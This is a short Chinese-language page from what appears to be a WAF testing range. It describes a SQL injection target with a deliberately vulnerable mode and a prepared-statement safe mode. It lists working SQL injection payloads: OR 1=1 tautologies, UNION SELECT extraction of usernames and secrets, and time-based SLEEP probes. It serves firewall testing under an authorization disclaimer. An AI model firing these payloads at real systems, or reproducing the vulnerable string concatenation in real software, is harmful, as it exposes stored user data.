SQL 注入
按 id 查询用户 / 按关键词搜索文章。vuln 模式下参数直接拼进 SQL;safe 模式下使用预处理。
① 数字型 / UNION —— 按 id 查用户
测试 payload:
1
1 OR 1=1
0 UNION SELECT 1,username,secret,4 FROM users
1 AND (SELECT 1 FROM (SELECT SLEEP(3))x)
1' OR '1'='1
② 字符串型 —— 搜索文章标题
测试 payload:
WAF
%' UNION SELECT id,username,secret FROM users -- -
' OR SLEEP(3)-- -
本靶场仅用于测试 你自己的 WAF(Cloudflare / JANUSEC 派生)的拦截与告警能力。 请只在你拥有或获得书面授权的环境中使用。
切换模式:环境变量 WAF_TESTBED_MODE=vuln(默认,含漏洞) 或 safe(加固对照组)。